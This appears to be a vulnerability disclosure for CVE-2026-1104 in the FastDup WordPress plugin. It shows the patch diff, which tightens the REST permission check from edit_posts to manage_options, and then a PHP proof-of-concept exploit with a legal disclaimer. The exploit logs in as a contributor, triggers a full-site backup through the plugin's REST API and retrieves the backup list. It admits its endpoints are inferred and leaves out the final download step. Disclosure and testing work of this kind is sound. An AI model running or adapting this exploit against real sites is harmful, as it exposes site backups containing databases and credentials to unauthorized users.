CVE-2026-1104: FastDup – Fastest WordPress Migration & Duplicator <= 2.7.1 – Missing Authorization to Authenticated (Contributor+) Backup Creation and Download (fastdup)

--- a/fastdup/fastdup.php
+++ b/fastdup/fastdup.php
@@ -4,7 +4,7 @@
  * Plugin Name:       FastDup
  * Plugin URI:        https://ninjateam.gitbook.io/fastdup/
  * Description:       WordPress Fastest Duplicator and Migration
- * Version:           2.7.1
+ * Version:           2.7.2
  * Author:            Ninja Team
  * Author URI:        https://ninjateam.org/
  * License:           GPLv2 or later
--- a/fastdup/includes/Endpoint/PackageApi.php
+++ b/fastdup/includes/Endpoint/PackageApi.php
@@ -368,6 +368,6 @@
    */
   public function njt_fastdup_permissions_check($request)
   {
-    return current_user_can('edit_posts');
+    return current_user_can('manage_options');
   }
 }
--- a/fastdup/includes/Endpoint/TemplateApi.php
+++ b/fastdup/includes/Endpoint/TemplateApi.php
@@ -283,6 +283,6 @@
    * @return WP_Error|bool
    */
   public function njt_fastdup_permissions_check($request) {
-    return current_user_can('edit_posts');
+    return current_user_can('manage_options');
   }
 }

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1104 - FastDup – Fastest WordPress Migration & Duplicator <= 2.7.1 - Missing Authorization to Authenticated (Contributor+) Backup Creation and Download

<?php
// CONFIGURATION
$target_url = 'http://target-site.com'; // Base URL of the target WordPress site
$username = 'contributor'; // Username of an account with Contributor role or higher
$password = 'password'; // Password for the above account

// Step 1: Authenticate to WordPress and obtain a nonce (REST API authentication)
$auth_url = $target_url . '/wp-json/jwt-auth/v1/token';
$auth_data = array('username' => $username, 'password' => $password);
$auth_headers = array('Content-Type: application/json');

$ch = curl_init($auth_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($auth_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, $auth_headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only
$auth_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code != 200) {
    die('Authentication failed. Check credentials or JWT plugin availability.n');
}

$auth_json = json_decode($auth_response, true);
$token = $auth_json['token'];
if (empty($token)) {
    die('Could not retrieve authentication token.n');
}

// Step 2: Trigger a full site backup creation via the vulnerable REST endpoint
// The endpoint is inferred from the plugin structure; actual endpoint may vary.
$create_backup_url = $target_url . '/wp-json/fastdup/v1/package/create';
$backup_headers = array(
    'Content-Type: application/json',
    'Authorization: Bearer ' . $token
);

$ch = curl_init($create_backup_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(array('name' => 'atomic_edge_exploit')));
curl_setopt($ch, CURLOPT_HTTPHEADER, $backup_headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$create_response = curl_exec($ch);
$create_http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo 'Backup creation request sent. HTTP Code: ' . $create_http_code . 'n';
echo 'Response: ' . $create_response . 'nn';

// Step 3: Attempt to list or download created backups
// This step demonstrates the ability to access backup data.
$list_backups_url = $target_url . '/wp-json/fastdup/v1/package/list';
$ch = curl_init($list_backups_url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $backup_headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$list_response = curl_exec($ch);
curl_close($ch);

echo 'Backup list retrieved:n';
echo $list_response . 'n';

// Note: A full exploit would parse the response for a backup ID and then call a download endpoint.
?>